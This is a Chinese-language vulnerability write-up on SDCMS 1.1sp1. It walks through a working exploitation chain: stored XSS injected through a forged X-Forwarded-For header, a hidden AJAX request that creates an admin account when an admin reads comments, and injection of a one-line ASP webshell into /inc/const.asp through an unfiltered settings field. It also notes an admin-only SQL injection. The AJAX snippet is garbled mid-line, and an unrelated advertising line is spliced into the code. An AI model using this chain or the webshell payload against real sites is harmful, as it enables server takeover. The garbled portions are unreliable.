SDCMS 1.1sp1的XSS漏洞的挖掘與利用
SDCMS全稱:時代網站信息管理系統。SDCMS是基于ASP+ACCESS/MSSQL的網站信息管理系統。永久免費,開源! SDCMS以信息為主題,通過以文字和圖片標題為起點,以無限欄目分類為支撐,配合多項插件的靈活使用,以達到信息門戶的遠景!
SDCMS總結各類信息門戶的現狀,充分考慮符合站長需求的前提下。設計了靈活多變的標簽調用方式,滿足了不同層次的需求。
SDCMS以安全第一為原則,解決了ASP程序的常見漏洞問題(服務器自身的問題除外)。程序自身無任何后門,嚴格的代碼過濾功能為網站的安全運行提供了可靠的保障。
上面是SDCMS網站對自己產品的評價。確實,其產品漂亮的界面, 靈活的插件體現了這一點。尤其在安全方面, 在防注入方面過濾掉了相關的敏感符號,起到了一定的防護作用。
其安全性和外表的美觀性,及其可擴展性, 使其成為了廣大建站愛好者的不二之選. 我們google關鍵字”power by sdcms”便可以發現.
但智者千濾, 必有一失。一般在最平常,最讓人忽略的地方,往往是最容易出問題的地方。(其官網為:http://www.sdcms.cn 大家可以在上面下到源代碼)
看下面的代碼,我們開始慢慢分析:
(注: 這種方法是在管理員允許評論的時候,才能利用的,不過,一般管理員都會允許評論吧)
在/plug/comment.asp中
sub save_comment
……
username=sdcms_f.HTMLEncode(username)
content=sdcms_f.contentEncode(content)
ip=sdcms_f.getip ‘請看這里,這里得到用戶的IP.
set rs=server.CreateObject("adodb.recordset")
sql="select username,content,ip,infoid,ispass from sd_comment"
rs.open sql,conn,1,3
rs.addnew
rs(0)=left(username,10)
rs(1)=content
rs(2)=ip //沒有任何過濾, 直接插到了數據庫中.
rs(3)=id
if sdcms_comment_ispass=1 then
msg_contents=",請等待審核"
rs(4)=0
else
rs(4)=1
end if
rs.update
……
end sub
下面我們看下getip的實現吧,
在/inc/function.asp中
Public Function getip
ip=request.ServerVariables("HTTP_X_FORWARDED_FOR")
if ip="" then ip=Request.ServerVariables("REMOTE_ADDR")
getip=ip
End function
看到這里,大家都知道問題的存在了吧.作者通過” HTTP_X_FORWARDED_FOR”這個字段來得到IP的值,而我們知道,這個字段在數據包中是可以偽造的.
我們可以偽造數據包,將”HTTP_X_FORWARDED_FOR”的值, 改成一句話木馬提交, 這樣, 就直接將一句話木馬插進數據庫里去了. 如果我們知道數據庫的位置,并且數據庫的后綴名是asp的,那么就直接可以利用了.
但可惜,這個CMS的數據庫的名稱未知,在安裝的時候, 由如下代碼生成12個隨機字符構成, 加上后綴名還是mdb的, 所以我們要插入一句話, 也沒法利用的.
/install/index.asp中
Function get_something
Randomize
Do While Len(pass)<12 '隨機密碼位數
num1=CStr(Chr((57-48)*rnd+48)) '0~9
num2=CStr(Chr((90-65)*rnd+65)) 'A~Z
num3=CStr(Chr((122-97)*rnd+97)) 'a~z
pass=pass&num1&num2&num3
loop
get_something=pass
end function
我們考慮用另外一種方式來達到入侵的目的.
看如下代碼:
/admin/sdcms_comment.asp
sub main
echo "<form name=""add"" action=""?"" method=""post"" onSubmit=""return confirm('確定要執行選定的操作嗎?');"">"
page=request.querystring("page")
if page="" or not isnumeric(page) then
page=1
end if
pages =20
set rs=server.CreateObject("adodb.recordset")
if request("classid")<>0 then tj=" where infoid="&request("classid")&"" ‘這里還有一個注入漏洞,雖然上面用classid=sdcms.Requestint(classid)來得到其整數值,但放在sql中查詢的時候,并沒有用classid來查詢,而是直接用request(“classid”)來查詢,作者在防注入的時候,沒有對其值進行過濾, 所以可以注入, 但這個注入的前提是有管理員權限, 所以,我們就不討論了.
sql="select id,username,"
if Is_sql=0 then
sql=sql&"(iif(ispass=1,'已審','未審'))"
else
全國黃頁(www.soqiye.cn)
sql=sql&"(case ispass when 1 then '已審'else'未審' end)"
end if
sql=sql&",ip,adddate,content,ispass,infoid from "&sd_table&" "&tj&" order by ispass,id desc"
‘作者用sql語句直接查出IP的值來,并用如下代碼顯示在了頁面上,沒有經過任何過濾.
<td class="title_bg" style="text-align:left"><span style="float:right"><%if rs(6)=0 then%><a href="?action=pass&id=<%=rs(0)%>&t=1&classid=<%=classid%>">通過驗證</a><%else%><a href="?action=pass&id=<%=rs(0)%>&t=0&classid=<%=classid%>">取消驗證</a><%end if%> <a href="?action=del&id=<%=rs(0)%>&classid=<%=classid%>" ,false);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send("t0=test&t1=test&t2=1");
這樣,管理員瀏覽過評論后,就會自動添加一個帳號, 呵呵.
這在我以前的文章中都提到過, 就不細講了.
接下來是如何拿shell. 我們看下后臺寫配置的地方的代碼:
在/admin/sdcms_set.asp中
set fso=server.CreateObject("scripting.filesystemobject")
set info=fso.CreateTextFile(Server.mappath("../inc/const.asp"),true)
info.write "<" & "%" & vbcrlf
……
info.write "%" & ">"
info.close
set info=nothing
set fso=nothing
作者將配置文件寫到了/inc/const.asp中,
而在
sub save
t0=clear_bad(trim(request("t0")))
t1=clear_bad(trim(request("t1")))
t2=clear_bad(trim(request("t2")))
t3=clear_bad(trim(request("t3")))
t4=clear_bad(trim(request("t4")))
t5=clear_bad(trim(request("t5")))
t6=clear_bad(trim(request("t6")))
t7=clear_bad(trim(request("t7")))
t8=clear_bad(trim(request("t8")))
t9=clear_bad(trim(request("t9")))
t10=clear_bad(trim(request("t10")))
t11=clear_bad(trim(request("t11")))
t12=clear_bad(trim(request("t12")))
t13=trim(request("t13"))
t14=dir_check(trim(request("t14")))
t15=trim(request("t15"))
t16=trim(request("t16"))
t17=dir_check(trim(request("t17")))
if t17<>"" then t17=t17&"/"
select case t3
case ".htm",".html",".shtml"
case else:t3=".html"
end select
select case t13
case "0","1"
case else:t13=0
end select
set sdcms_f=new sdcms_function
t9=sdcms_f.check_event(t9,"|"):t10=sdcms_f.check_event(t10,"|"):t11=sdcms_f.check_event(t11,"|")
set sdcms_f=nothing,
對其提交的參數進行了過濾.
Function clear_bad(t0)
clear_bad=Replace(t0,"""","")
clear_bad=Replace(t0,CHR(10),"")
End Function
上面可以看到對t15,t16的值沒有過濾.
T16正好是系統管理,偏好設置中的文件名稱項
所以,我們將文件名稱的值改為test"%><%execute request("value")%><%a="test
這樣, 我們就在/inc/const.asp文件中,寫入了一句話木馬.
然后再上傳大的webshell就OK了.